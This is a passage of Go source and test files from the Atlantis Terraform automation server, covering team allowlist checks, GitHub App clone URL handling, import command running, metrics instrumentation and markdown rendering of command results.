bool { return true } func (checker *ExternalTeamAllowlistChecker) IsCommandAllowedForTeam(ctx models.TeamAllowlistCheckerContext, team string, command string) bool { cmd := checker.buildCommandString(ctx, []string{team}, command) out, err := checker.ExternalTeamAllowlistRunner.Run(ctx, "sh", "-c", cmd) if err != nil { return false } return checker.checkOutputResults(out) } func (checker *ExternalTeamAllowlistChecker) IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool { cmd := checker.buildCommandString(ctx, teams, command) out, err := checker.ExternalTeamAllowlistRunner.Run(ctx, "sh", "-c", cmd) if err != nil { return false } return checker.checkOutputResults(out) } func (checker *ExternalTeamAllowlistChecker) AllTeams() []string { return []string{} } func (checker *ExternalTeamAllowlistChecker) buildCommandString(ctx models.TeamAllowlistCheckerContext, teams []string, command string) string { // Build command string // Format is "$external_cmd $external_args $command $repo $teams" cmdArr := append([]string{checker.Command}, checker.ExtraArgs...) orgTeams := make([]string, len(teams)) for i, team := range teams { orgTeams[i] = fmt.Sprintf("%s/%s", ctx.BaseRepo.Owner, team) } teamStr := strings.Join(orgTeams, " ") return strings.Join(append(cmdArr, command, ctx.BaseRepo.FullName, teamStr), " ") } func (checker *ExternalTeamAllowlistChecker) checkOutputResults(output string) bool { lines := strings.Split(strings.TrimSpace(output), "\n") lastLine := lines[len(lines)-1] return strings.EqualFold(lastLine, "pass") } ================================================ FILE: server/events/external_team_allowlist_checker_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/petergtz/pegomock/v4" runtime_mocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/events" . "github.com/runatlantis/atlantis/testing" ) var extTeamAllowlistChecker events.ExternalTeamAllowlistChecker var extTeamAllowlistCheckerRunner *runtime_mocks.MockExternalTeamAllowlistRunner func externalTeamAllowlistCheckerSetup(t *testing.T) { RegisterMockTestingT(t) extTeamAllowlistCheckerRunner = runtime_mocks.NewMockExternalTeamAllowlistRunner() extTeamAllowlistChecker = events.ExternalTeamAllowlistChecker{ ExternalTeamAllowlistRunner: extTeamAllowlistCheckerRunner, } } func TestIsCommandAllowedForTeam(t *testing.T) { ctx := models.TeamAllowlistCheckerContext{ Log: logging.NewNoopLogger(t), } t.Run("allowed", func(t *testing.T) { externalTeamAllowlistCheckerSetup(t) When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), Any[string]())).ThenReturn("pass\n", nil) res := extTeamAllowlistChecker.IsCommandAllowedForTeam(ctx, "foo", "plan") Equals(t, true, res) }) t.Run("denied", func(t *testing.T) { externalTeamAllowlistCheckerSetup(t) When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), Any[string]())).ThenReturn("nothing found\n", nil) res := extTeamAllowlistChecker.IsCommandAllowedForTeam(ctx, "foo", "plan") Equals(t, false, res) }) } func TestIsCommandAllowedForAnyTeam(t *testing.T) { ctx := models.TeamAllowlistCheckerContext{ Log: logging.NewNoopLogger(t), } t.Run("allowed", func(t *testing.T) { externalTeamAllowlistCheckerSetup(t) When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), Any[string]())).ThenReturn("pass\n", nil) res := extTeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, []string{"foo"}, "plan") Equals(t, true, res) }) t.Run("denied", func(t *testing.T) { externalTeamAllowlistCheckerSetup(t) When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), Any[string]())).ThenReturn("nothing found\n", nil) res := extTeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, []string{"foo"}, "plan") Equals(t, false, res) }) } ================================================ FILE: server/events/github_app_working_dir.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "strings" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/logging" ) const redactedReplacement = "://:@" // GithubAppWorkingDir implements WorkingDir. // It acts as a proxy to an instance of WorkingDir that refreshes the app's token // before every clone, given Github App tokens expire quickly type GithubAppWorkingDir struct { WorkingDir Credentials github.Credentials GithubHostname string } // Clone writes a fresh token for Github App authentication func (g *GithubAppWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { g.fixReposURL(&p, &headRepo) return g.WorkingDir.Clone(logger, headRepo, p, workspace) } func (g *GithubAppWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { g.fixReposURL(&p, &headRepo) return g.WorkingDir.MergeAgain(logger, headRepo, p, workspace) } func (g *GithubAppWorkingDir) fixReposURL(p *models.PullRequest, headRepo *models.Repo) { // Realistically, this is a super brittle way of supporting clones using gh app installation tokens // This URL should be built during Repo creation and the struct should be immutable going forward. // Doing this requires a larger refactor however, and can probably be coupled with supporting > 1 installation // This removes the credential part from the url and leaves us with the raw http url // git will then pick up credentials from the credential store which is set in vcs.WriteGitCreds. // Git credentials will then be rotated by vcs.GitCredsTokenRotator replacement := "://" p.BaseRepo.CloneURL = strings.Replace(p.BaseRepo.CloneURL, "://:@", replacement, 1) p.BaseRepo.SanitizedCloneURL = strings.Replace(p.BaseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1) headRepo.CloneURL = strings.Replace(headRepo.CloneURL, "://:@", replacement, 1) headRepo.SanitizedCloneURL = strings.Replace(p.BaseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1) } ================================================ FILE: server/events/github_app_working_dir_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "fmt" "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events" eventMocks "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/github" githubMocks "github.com/runatlantis/atlantis/server/events/vcs/github/mocks" githubtestdata "github.com/runatlantis/atlantis/server/events/vcs/github/testdata" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Test that if we don't have any existing files, we check out the repo with a github app. func TestClone_GithubAppNoneExisting(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) expCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") dataDir := t.TempDir() logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), } defer disableSSLVerification()() testServer, err := githubtestdata.GithubAppTestServer(t) Ok(t, err) gwd := &events.GithubAppWorkingDir{ WorkingDir: wd, Credentials: &github.AppCredentials{ Key: []byte(githubtestdata.PrivateKey), AppID: 1, Hostname: testServer, }, GithubHostname: testServer, } cloneDir, err := gwd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", }, "default") Ok(t, err) // Use rev-parse to verify at correct commit. actCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD") Equals(t, expCommit, actCommit) } func TestClone_GithubAppSetsCorrectUrl(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) workingDir := eventMocks.NewMockWorkingDir() credentials := githubMocks.NewMockCredentials() ghAppWorkingDir := events.GithubAppWorkingDir{ WorkingDir: workingDir, Credentials: credentials, GithubHostname: "some-host", } baseRepo, _ := models.NewRepo( models.Github, "runatlantis/atlantis", "https://github.com/runatlantis/atlantis.git", // user and token have to be blank otherwise this proxy wouldn't be invoked to begin with "", "", ) headRepo := baseRepo modifiedBaseRepo := baseRepo // remove credentials from both urls since we want to use the credential store modifiedBaseRepo.CloneURL = "https://github.com/runatlantis/atlantis.git" modifiedBaseRepo.SanitizedCloneURL = "https://github.com/runatlantis/atlantis.git" When(credentials.GetToken()).ThenReturn("token", nil) When(workingDir.Clone(Any[logging.SimpleLogging](), Eq(modifiedBaseRepo), Eq(models.PullRequest{BaseRepo: modifiedBaseRepo}), Eq("default"))).ThenReturn("", nil) _, err := ghAppWorkingDir.Clone(logger, headRepo, models.PullRequest{BaseRepo: baseRepo}, "default") workingDir.VerifyWasCalledOnce().Clone(logger, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, "default") Ok(t, err) } // Similar to `Clone()` // `MergeAgain()` should set the repo URL correctly func TestMergeAgain_GithubAppSetsCorrectUrl(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) workingDir := eventMocks.NewMockWorkingDir() credentials := githubMocks.NewMockCredentials() ghAppWorkingDir := events.GithubAppWorkingDir{ WorkingDir: workingDir, Credentials: credentials, GithubHostname: "some-host", } baseRepo, _ := models.NewRepo( models.Github, "runatlantis/atlantis", "https://github.com/runatlantis/atlantis.git", // user and token have to be blank otherwise this proxy wouldn't be invoked to begin with "", "", ) headRepo := baseRepo modifiedBaseRepo := baseRepo // remove credentials from both urls since we want to use the credential store modifiedBaseRepo.CloneURL = "https://github.com/runatlantis/atlantis.git" modifiedBaseRepo.SanitizedCloneURL = "https://github.com/runatlantis/atlantis.git" When(credentials.GetToken()).ThenReturn("token", nil) When(workingDir.MergeAgain(Any[logging.SimpleLogging](), Eq(modifiedBaseRepo), Eq(models.PullRequest{BaseRepo: modifiedBaseRepo}), Eq("default"))).ThenReturn(false, nil) _, err := ghAppWorkingDir.MergeAgain(logger, headRepo, models.PullRequest{BaseRepo: baseRepo}, "default") // MergeAgain workingDir.VerifyWasCalledOnce().MergeAgain(logger, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, "default") Ok(t, err) } ================================================ FILE: server/events/import_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/vcs" ) func NewImportCommandRunner( pullUpdater *PullUpdater, pullReqStatusFetcher vcs.PullReqStatusFetcher, prjCmdBuilder ProjectImportCommandBuilder, prjCmdRunner ProjectImportCommandRunner, SilenceNoProjects bool, ) *ImportCommandRunner { return &ImportCommandRunner{ pullUpdater: pullUpdater, pullReqStatusFetcher: pullReqStatusFetcher, prjCmdBuilder: prjCmdBuilder, prjCmdRunner: prjCmdRunner, SilenceNoProjects: SilenceNoProjects, } } type ImportCommandRunner struct { pullUpdater *PullUpdater pullReqStatusFetcher vcs.PullReqStatusFetcher prjCmdBuilder ProjectImportCommandBuilder prjCmdRunner ProjectImportCommandRunner SilenceNoProjects bool } func (v *ImportCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { var err error // Get the mergeable status before we set any build statuses of our own. // We do this here because when we set a "Pending" status, if users have // required the Atlantis status checks to pass, then we've now changed // the mergeability status of the pull request. // This sets the approved, mergeable, and sqlocked status in the context. ctx.PullRequestStatus, err = v.pullReqStatusFetcher.FetchPullStatus(ctx.Log, ctx.Pull) if err != nil { // On error we continue the request with mergeable assumed false. // We want to continue because not all import will need this status, // only if they rely on the mergeability requirement. // All PullRequestStatus fields are set to false by default when error. ctx.Log.Warn("unable to get pull request status: %s. Continuing with mergeable and approved assumed false", err) } var projectCmds []command.ProjectContext projectCmds, err = v.prjCmdBuilder.BuildImportCommands(ctx, cmd) if err != nil { ctx.Log.Warn("Error %s", err) } if len(projectCmds) == 0 && v.SilenceNoProjects { ctx.Log.Info("determined there was no project to run import in.") return } var result command.Result if len(projectCmds) > 1 { // There is no usecase to kick terraform import into multiple projects. // To avoid incorrect import, suppress to execute terraform import in multiple projects. result = command.Result{ Failure: "import cannot run on multiple projects. please specify one project.", } } else { result = runProjectCmds(projectCmds, v.prjCmdRunner.Import) } v.pullUpdater.updatePull(ctx, cmd, result) } ================================================ FILE: server/events/import_command_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "testing" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics/metricstest" . "github.com/runatlantis/atlantis/testing" ) func TestImportCommandRunner_Run(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) tests := []struct { name string silenced bool pullReqStatus models.PullReqStatus projectCmds []command.ProjectContext expComment string expNoComment bool }{ { name: "success with zero projects", pullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: true}, MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, projectCmds: []command.ProjectContext{}, expComment: "Ran Import for 0 projects:", }, { name: "failure with multiple projects", pullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: true}, MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, projectCmds: []command.ProjectContext{{}, {}}, expComment: "**Import Failed**: import cannot run on multiple projects. please specify one project.", }, { name: "no comment with zero projects and silencing", pullReqStatus: models.PullReqStatus{ ApprovalStatus: models.ApprovalStatus{IsApproved: true}, MergeableStatus: models.MergeableStatus{IsMergeable: true}, }, projectCmds: []command.ProjectContext{}, silenced: true, expNoComment: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { vcsClient := setup(t, func(tc *TestConfig) { tc.SilenceNoProjects = tt.silenced }) scopeNull := metricstest.NewLoggingScope(t, logger, "atlantis") modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} ctx := &command.Context{ User: testdata.User, Log: logger, Scope: scopeNull, Pull: modelPull, HeadRepo: testdata.GithubRepo, Trigger: command.CommentTrigger, } cmd := &events.CommentCommand{Name: command.Import} When(pullReqStatusFetcher.FetchPullStatus(logger, modelPull)).ThenReturn(tt.pullReqStatus, nil) When(projectCommandBuilder.BuildImportCommands(ctx, cmd)).ThenReturn(tt.projectCmds, nil) importCommandRunner.Run(ctx, cmd) Assert(t, ctx.PullRequestStatus.MergeableStatus.IsMergeable == true, "PullRequestStatus must be set for import_requirements") if tt.expNoComment { vcsClient.VerifyWasCalled(Never()).CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } else { vcsClient.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(tt.expComment), Eq("import")) } }) } } ================================================ FILE: server/events/instrumented_project_command_builder.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" tally "github.com/uber-go/tally/v4" ) type InstrumentedProjectCommandBuilder struct { ProjectCommandBuilder Logger logging.SimpleLogging scope tally.Scope } func (b *InstrumentedProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { return b.buildAndEmitStats( "apply", func() ([]command.ProjectContext, error) { return b.ProjectCommandBuilder.BuildApplyCommands(ctx, comment) }, ) } func (b *InstrumentedProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) { return b.buildAndEmitStats( "auto plan", func() ([]command.ProjectContext, error) { return b.ProjectCommandBuilder.BuildAutoplanCommands(ctx) }, ) } func (b *InstrumentedProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { return b.buildAndEmitStats( "plan", func() ([]command.ProjectContext, error) { return b.ProjectCommandBuilder.BuildPlanCommands(ctx, comment) }, ) } func (b *InstrumentedProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { return b.buildAndEmitStats( "import", func() ([]command.ProjectContext, error) { return b.ProjectCommandBuilder.BuildImportCommands(ctx, comment) }, ) } func (b *InstrumentedProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { return b.buildAndEmitStats( "state rm", func() ([]command.ProjectContext, error) { return b.ProjectCommandBuilder.BuildStateRmCommands(ctx, comment) }, ) } func (b *InstrumentedProjectCommandBuilder) buildAndEmitStats( command string, execute func() ([]command.ProjectContext, error), ) ([]command.ProjectContext, error) { timer := b.scope.Timer(metrics.ExecutionTimeMetric).Start() defer timer.Stop() executionSuccess := b.scope.Counter(metrics.ExecutionSuccessMetric) executionError := b.scope.Counter(metrics.ExecutionErrorMetric) projectCmds, err := execute() if err != nil { executionError.Inc(1) b.Logger.Err("Error building %s commands: %s", command, err) } else { executionSuccess.Inc(1) } return projectCmds, err } ================================================ FILE: server/events/instrumented_project_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/metrics" tally "github.com/uber-go/tally/v4" ) type IntrumentedCommandRunner interface { Plan(ctx command.ProjectContext) command.ProjectResult PolicyCheck(ctx command.ProjectContext) command.ProjectResult Apply(ctx command.ProjectContext) command.ProjectResult ApprovePolicies(ctx command.ProjectContext) command.ProjectResult Import(ctx command.ProjectContext) command.ProjectResult StateRm(ctx command.ProjectContext) command.ProjectResult } type InstrumentedProjectCommandRunner struct { projectCommandRunner ProjectCommandRunner scope tally.Scope } func NewInstrumentedProjectCommandRunner(scope tally.Scope, projectCommandRunner ProjectCommandRunner) *InstrumentedProjectCommandRunner { projectTags := command.ProjectScopeTags{} scope = scope.SubScope("project").Tagged(projectTags.Loadtags()) for _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric, metrics.ExecutionFailureMetric} { metrics.InitCounter(scope, m) } return &InstrumentedProjectCommandRunner{ projectCommandRunner: projectCommandRunner, scope: scope, } } func (p *InstrumentedProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectCommandOutput { return RunAndEmitStats(ctx, p.projectCommandRunner.Plan, p.scope) } func (p *InstrumentedProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput { return RunAndEmitStats(ctx, p.projectCommandRunner.PolicyCheck, p.scope) } func (p *InstrumentedProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectCommandOutput { return RunAndEmitStats(ctx, p.projectCommandRunner.Apply, p.scope) } func (p *InstrumentedProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput { return RunAndEmitStats(ctx, p.projectCommandRunner.ApprovePolicies, p.scope) } func (p *InstrumentedProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectCommandOutput { return RunAndEmitStats(ctx, p.projectCommandRunner.Import, p.scope) } func (p *InstrumentedProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectCommandOutput { return RunAndEmitStats(ctx, p.projectCommandRunner.StateRm, p.scope) } func RunAndEmitStats(ctx command.ProjectContext, execute func(ctx command.ProjectContext) command.ProjectCommandOutput, scope tally.Scope) command.ProjectCommandOutput { commandName := ctx.CommandName.String() // ensures we are differentiating between project level command and overall command scope = ctx.SetProjectScopeTags(scope).SubScope(commandName) logger := ctx.Log executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) executionFailure := scope.Counter(metrics.ExecutionFailureMetric) result := execute(ctx) if result.Error != nil { executionError.Inc(1) logger.Err("Error running %s operation: %s", commandName, result.Error.Error()) return result } if result.Failure != "" { executionFailure.Inc(1) logger.Err("Failure running %s operation: %s", commandName, result.Failure) return result } logger.Info("%s success. output available at: %s", commandName, ctx.Pull.URL) executionSuccess.Inc(1) return result } ================================================ FILE: server/events/instrumented_pull_closed_executor.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" tally "github.com/uber-go/tally/v4" ) type InstrumentedPullClosedExecutor struct { scope tally.Scope log logging.SimpleLogging cleaner PullCleaner } func NewInstrumentedPullClosedExecutor( scope tally.Scope, log logging.SimpleLogging, cleaner PullCleaner, ) PullCleaner { scope = scope.SubScope("pullclosed_cleanup") for _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric} { metrics.InitCounter(scope, m) } return &InstrumentedPullClosedExecutor{ scope: scope, log: log, cleaner: cleaner, } } func (e *InstrumentedPullClosedExecutor) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { executionSuccess := e.scope.Counter(metrics.ExecutionSuccessMetric) executionError := e.scope.Counter(metrics.ExecutionErrorMetric) executionTime := e.scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() logger.Info("Initiating cleanup of pull data.") err := e.cleaner.CleanUpPull(logger, repo, pull) if err != nil { executionError.Inc(1) logger.Err("error during cleanup of pull data", err) return err } executionSuccess.Inc(1) return nil } ================================================ FILE: server/events/markdown_renderer.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "bytes" "embed" "fmt" "strings" "text/template" "github.com/Masterminds/sprig/v3" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "golang.org/x/text/cases" "golang.org/x/text/language" ) var ( planCommandTitle = command.Plan.TitleString() applyCommandTitle = command.Apply.TitleString() policyCheckCommandTitle = command.PolicyCheck.TitleString() approvePoliciesCommandTitle = command.ApprovePolicies.TitleString() versionCommandTitle = command.Version.TitleString() importCommandTitle = command.Import.TitleString() stateCommandTitle = command.State.TitleString() // maxUnwrappedLines is the maximum number of lines the Terraform output // can be before we wrap it in an expandable template. maxUnwrappedLines = 12 //go:embed templates/* templatesFS embed.FS ) // MarkdownRenderer renders responses as markdown. type MarkdownRenderer struct { // gitlabSupportsCommonMark is true if the version of GitLab we're // using supports the CommonMark markdown format. // If we're not configured with a GitLab client, this will be false. gitlabSupportsCommonMark bool disableApplyAll bool disableApply bool disableMarkdownFolding bool disableRepoLocking bool enableDiffMarkdownFormat bool markdownTemplates *template.Template executableName string hideUnchangedPlanComments bool quietPolicyChecks bool } // commonData is data that all responses have. type commonData struct { Command string SubCommand string Verbose bool Log string PlansDeleted bool DisableApplyAll bool DisableApply bool DisableRepoLocking bool EnableDiffMarkdownFormat bool ExecutableName string HideUnchangedPlanComments bool QuietPolicyChecks bool VcsRequestType string } // errData is data about an error response. type errData struct { Error string RenderedContext string commonData } // failureData is data about a failure response. type failureData struct { Failure string RenderedContext string commonData } type resultData struct { Results []projectResultTmplData commonData } type planResultData struct { Results []projectResultTmplData commonData NumPlansWithChanges int NumPlansWithNoChanges int NumPlanFailures int } type applyResultData struct { Results []projectResultTmplData commonData NumApplySuccesses int NumApplyFailures int NumApplyErrors int } type planSuccessData struct { models.PlanSuccess PlanSummary string PlanWasDeleted bool DisableApply bool DisableRepoLocking bool EnableDiffMarkdownFormat bool PlanStats models.PlanSuccessStats } type policyCheckResultsData struct { models.PolicyCheckResults PreConftestOutput string PostConftestOutput string PolicyCheckSummary string PolicyApprovalSummary string PolicyCleared bool commonData } type projectResultTmplData struct { Workspace string RepoRelDir string ProjectName string Rendered string NoChanges bool IsSuccessful bool } // Initialize templates func NewMarkdownRenderer( gitlabSupportsCommonMark bool, disableApplyAll bool, disableApply bool, disableMarkdownFolding bool, disableRepoLocking bool, enableDiffMarkdownFormat bool, markdownTemplateOverridesDir string, executableName string, hideUnchangedPlanComments bool, quietPolicyChecks bool, ) *MarkdownRenderer { var templates *template.Template templates, _ = template.New("").Funcs(sprig.TxtFuncMap()).ParseFS(templatesFS, "templates/*.tmpl") if overrides, err := templates.ParseGlob(fmt.Sprintf("%s/*.tmpl", markdownTemplateOverridesDir)); err == nil { // doesn't override if templates directory doesn't exist templates = overrides } return &MarkdownRenderer{ gitlabSupportsCommonMark: gitlabSupportsCommonMark, disableApplyAll: disableApplyAll, disableMarkdownFolding: disableMarkdownFolding, disableApply: disableApply, disableRepoLocking: disableRepoLocking, enableDiffMarkdownFormat: enableDiffMarkdownFormat, markdownTemplates: templates, executableName: executableName, hideUnchangedPlanComments: hideUnchangedPlanComments, quietPolicyChecks: quietPolicyChecks, } } // Render formats the data into a markdown string. // nolint: interfacer func (m *MarkdownRenderer) Render(ctx *command.Context, res command.Result, cmd PullCommand) string { commandStr := cases.Title(language.English).String(strings.ReplaceAll(cmd.CommandName().String(), "_", " ")) var vcsRequestType string if ctx.Pull.BaseRepo.VCSHost.Type == models.Gitlab { vcsRequestType = "Merge Request" } else { vcsRequestType = "Pull Request" } common := commonData{ Command: commandStr, SubCommand: cmd.SubCommandName(), Verbose: cmd.IsVerbose(), Log: ctx.Log.GetHistory(), PlansDeleted: res.PlansDeleted, DisableApplyAll: m.disableApplyAll || m.disableApply, DisableApply: m.disableApply, DisableRepoLocking: m.disableRepoLocking, EnableDiffMarkdownFormat: m.enableDiffMarkdownFormat, ExecutableName: m.executableName, HideUnchangedPlanComments: m.hideUnchangedPlanComments, QuietPolicyChecks: m.quietPolicyChecks, VcsRequestType: vcsRequestType, } templates := m.markdownTemplates if res.Error != nil { return m.renderTemplateTrimSpace(templates.Lookup("unwrappedErrWithLog"), errData{res.Error.Error(), "", common}) } if res.Failure != "" { return m.renderTemplateTrimSpace(templates.Lookup("failureWithLog"), failureData{res.Failure, "", common}) } return m.renderProjectResults(ctx, res.ProjectResults, common) } func (m *MarkdownRenderer) renderProjectResults(ctx *command.Context, results []command.ProjectResult, common commonData) string { vcsHost := ctx.Pull.BaseRepo.VCSHost.Type var resultsTmplData []projectResultTmplData numPlanSuccesses := 0 numPolicyCheckSuccesses := 0 numPolicyApprovalSuccesses := 0 numVersionSuccesses := 0 numPlansWithChanges := 0 numPlansWithNoChanges := 0 numApplySuccesses := 0 numApplyFailures := 0 numApplyErrors := 0 templates := m.markdownTemplates for _, result := range results { resultData := projectResultTmplData{ Workspace: result.Workspace, RepoRelDir: result.RepoRelDir, ProjectName: result.ProjectName, IsSuccessful: result.IsSuccessful(), } if result.PlanSuccess != nil { result.PlanSuccess.TerraformOutput = strings.TrimSpace(result.PlanSuccess.TerraformOutput) data := planSuccessData{ PlanSuccess: *result.PlanSuccess, PlanWasDeleted: common.PlansDeleted, DisableApply: common.DisableApply, DisableRepoLocking: common.DisableRepoLocking, EnableDiffMarkdownFormat: common.EnableDiffMarkdownFormat, PlanStats: result.PlanSuccess.Stats(), } if m.shouldUseWrappedTmpl(vcsHost, result.PlanSuccess.TerraformOutput) { data.PlanSummary = result.PlanSuccess.Summary() resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("planSuccessWrapped"), data) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("planSuccessUnwrapped"), data) } resultData.NoChanges = result.PlanSuccess.NoChanges() if result.PlanSuccess.NoChanges() { numPlansWithNoChanges++ } else { numPlansWithChanges++ } numPlanSuccesses++ } else if result.PolicyCheckResults != nil && common.Command == policyCheckCommandTitle { policyCheckResults := policyCheckResultsData{ PreConftestOutput: result.PolicyCheckResults.PreConftestOutput, PostConftestOutput: result.PolicyCheckResults.PostConftestOutput, PolicyCheckResults: *result.PolicyCheckResults, PolicyCheckSummary: result.PolicyCheckResults.Summary(), PolicyApprovalSummary: result.PolicyCheckResults.PolicySummary(), PolicyCleared: result.PolicyCheckResults.PolicyCleared(), commonData: common, } if m.shouldUseWrappedTmpl(vcsHost, result.PolicyCheckResults.CombinedOutput()) { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsWrapped"), policyCheckResults) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsUnwrapped"), policyCheckResults) } if result.Error == nil && result.Failure == "" { numPolicyCheckSuccesses++ } } else if result.PolicyCheckResults != nil && common.Command == approvePoliciesCommandTitle { policyCheckResults := policyCheckResultsData{ PolicyCheckResults: *result.PolicyCheckResults, PolicyCheckSummary: result.PolicyCheckResults.Summary(), PolicyApprovalSummary: result.PolicyCheckResults.PolicySummary(), PolicyCleared: result.PolicyCheckResults.PolicyCleared(), commonData: common, } if m.shouldUseWrappedTmpl(vcsHost, result.PolicyCheckResults.CombinedOutput()) { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsWrapped"), policyCheckResults) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("policyCheckResultsUnwrapped"), policyCheckResults) } if result.Error == nil && result.Failure == "" { numPolicyApprovalSuccesses++ } } else if result.ApplySuccess != "" { output := strings.TrimSpace(result.ApplySuccess) if m.shouldUseWrappedTmpl(vcsHost, result.ApplySuccess) { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("applyWrappedSuccess"), struct{ Output string }{output}) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("applyUnwrappedSuccess"), struct{ Output string }{output}) } 